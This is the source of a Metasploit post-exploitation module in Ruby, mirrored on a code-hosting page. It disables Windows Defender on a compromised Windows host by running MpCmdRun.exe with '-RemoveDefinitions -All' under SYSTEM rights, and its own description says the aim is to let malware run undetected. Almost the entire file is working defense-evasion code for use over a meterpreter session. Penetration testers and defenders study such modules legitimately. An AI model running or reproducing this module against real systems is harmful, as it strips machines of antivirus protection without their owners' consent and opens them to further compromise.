Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/rollback_defender_signatures.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Priv8include Msf::Post::Windows::Registry910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Disable Windows Defender Signatures',15'Description' => %q{16This module with appropriate rights let to use the Windows Defender command-line utility a run and automation17tool (mpcmdrun.exe) in order to disable all the signatures available installed for the compromised machine.18The tool is prominently used for scheduling scans and updating the signature or definition files,19but there is a switch created to restore the installed signature definitions to a previous backup copy or20to the original default set of signatures which is none, disabling all the signatures and allowing malware21to execute even with the Windows Defender solution enabled.22},23'License' => MSF_LICENSE,24'Author' => [25'metasploit@[at]csiete.org',26'luisco100 <luisco100[at]gmail.com>'27], # Module author28'Platform' => [ 'win' ],29'SessionTypes' => [ 'meterpreter' ],30'Actions' => [31[ 'ROLLBACK', { 'Description' => 'Rollback Defender signatures' } ],32[ 'UPDATE', { 'Description' => 'Update Defender signatures' } ]33],34'DefaultAction' => 'ROLLBACK',35'Compat' => {36'Meterpreter' => {37'Commands' => %w[38stdapi_sys_config_getenv39]40}41},42'Notes' => {43# if you rollback the signatures, that resource is lost44'Stability' => [SERVICE_RESOURCE_LOSS],45'Reliability' => [],46'SideEffects' => []47}48)49)50end5152def run53# Are we system?54if !is_system?55fail_with(Failure::NoAccess, 'You must be System to run this Module')56end5758# Is the binary there?59if client.arch == ARCH_X86 && client.arch != sysinfo['Architecture']60program_path = session.sys.config.getenv('ProgramW6432')61else62program_path = session.sys.config.getenv('ProgramFiles')63end64vprint_status("program_path = #{program_path}")65file_path = program_path + '\Windows Defender\MpCmdRun.exe'66vprint_status("file_path = #{file_path}")67if !exist?(file_path)68fail_with(Failure::NoAccess, "#{file_path} is not Present")69end70# Is defender even enabled?71defender_disable_key = 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender'72disable_key_value = meterpreter_registry_getvalinfo(defender_disable_key, 'DisableAntiSpyware', REGISTRY_VIEW_NATIVE)73unless disable_key_value.nil? || disable_key_value != 174fail_with(Failure::NoTarget, 'Defender is not enabled')75end7677case action.name78when 'ROLLBACK'79print_status('Removing all definitions for Windows Defender')80cmd = "cmd.exe /c \"#{file_path}\" -RemoveDefinitions -All"81when 'UPDATE'82print_status('Updating definitions for Windows Defender')83cmd = "cmd.exe /c \"#{file_path}\" -SignatureUpdate"84else85fail_with(Failure::BadConfig, 'Unknown action provided!')86end87print_status("Running #{cmd}")88output = cmd_exec(cmd).to_s89if output.include?('denied')90print_bad(output)91else92print_status(output)93end94end95end969798